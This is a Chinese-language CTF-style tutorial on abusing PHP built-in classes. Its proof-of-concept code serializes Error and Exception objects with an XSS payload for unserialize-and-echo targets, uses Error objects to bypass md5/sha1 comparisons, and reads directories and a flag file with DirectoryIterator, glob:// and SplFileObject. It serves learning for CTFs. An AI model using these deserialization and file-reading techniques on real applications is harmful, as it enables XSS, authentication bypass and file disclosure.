這篇文章為大家帶來了關於PHP的相關知識,其中主要介紹了關於原生類的相關內容,下面一起來看一下,希望對大家有幫助。
這次HEctf就是一個原生類別的題,只有短短三行程式碼。果然越短小的程式碼在ctf裡越難。
先貼上遍歷php內建類別的腳本
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
結果:
整理一下:
Exception ErrorException Error ParseError TypeError ArgumentCountError ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
大概就是這些類別了,但是在ctf比賽中常會用到的就是以下幾類
__toString方法會傳回錯誤或異常的字串形式,其中包含我們輸入的參數,如果我們建構一串xss程式碼,結合echo渲染,將觸發反射形xss漏洞
demo:
<?php $a = unserialize($_GET['a']);echo $a;
poc
<?php $a = new Error("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b);
輸出了一串字串
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
成功彈出視窗
Exception是所有用戶級異常的基底類別。 (PHP 5, 7, 8)
<?php $a = new Exception("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b); ?>
和error的pop的構造好像是一樣的(exception適用於php5和7,error只適用於php7),把error換成exception就行了。依然成功彈窗
透過建構這兩個類別可以啊繞過md5()和sha1 ()函數。 error和exception都有一個重要方法:_tostring,用於將異常物件轉換為字串。
同樣,當md5()和sha1()函數處理物件時,會自動呼叫__tostring方法
<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
可以看出,payload後面的參數並不影響輸出的結果。正是透過這個可以繞過哈希函數。
<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){ echo '$a不等于$b'."\n ";} if (md5($a)===md5($b)) { echo "md5值相等\n"; } if (sha1($a)===sha1($b)){ echo "sha1值相等\n"; }
簡單物件存取協定意義
這裡之所以說是簡單,是因為它是基於已經廣泛使用的兩個協定:HTTP和XML,所以業界把這種技術稱為“它是第一個沒有發明任何新技術的技術",之所以說是對象,是因為把訪問的Web服務稱為對象,既然服務是對象,那麼服務肯定有相關的屬性和呼叫行為,這些屬性和行為是透過WSDL來描述的。如果按「簡單的物件存取協定」來理解,相比「簡單物件存取協定」要容易些
PHP 的內建類別SoapClient 是一個專門用來存取web服務的類,可以提供一個基於SOAP協定存取Web服務的PHP 用戶端。
該類別的建構子如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
#DirectoryIterator
# __toString 取得字串形式的檔案名稱(PHP 5,7,8)
#例如:
<?php $a = new DirectoryIterator("/"); foreach($a as $b){ echo($b.'</br>'); } echo $a;
輸出指定目錄裡面經過排序後的第一個檔案名稱
使用此內建類別的__toString方法結合glob或file協議,即可實現目錄遍歷
<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){ echo $b.'<br>'; }
利用foreach能遍歷所有的檔案
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
多一個斜杠,目錄往前一個。
FilesystemIterator 類別
FilesystemIterator 類別與 DirectoryIterator 類別相同,提供了一個用於檢視檔案系統目錄內容的簡單介面。該類別的建構方法將會建立一個指定目錄的迭代器。
該類別的使用方法與DirectoryIterator 類別也是基本上相同的:
<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php $a = new SplFileObject('flag.txt'); echo $a;
输出多行
<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){ echo($f); }
推荐学习:《PHP视频教程》
以上是PHP原生類別的總結分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!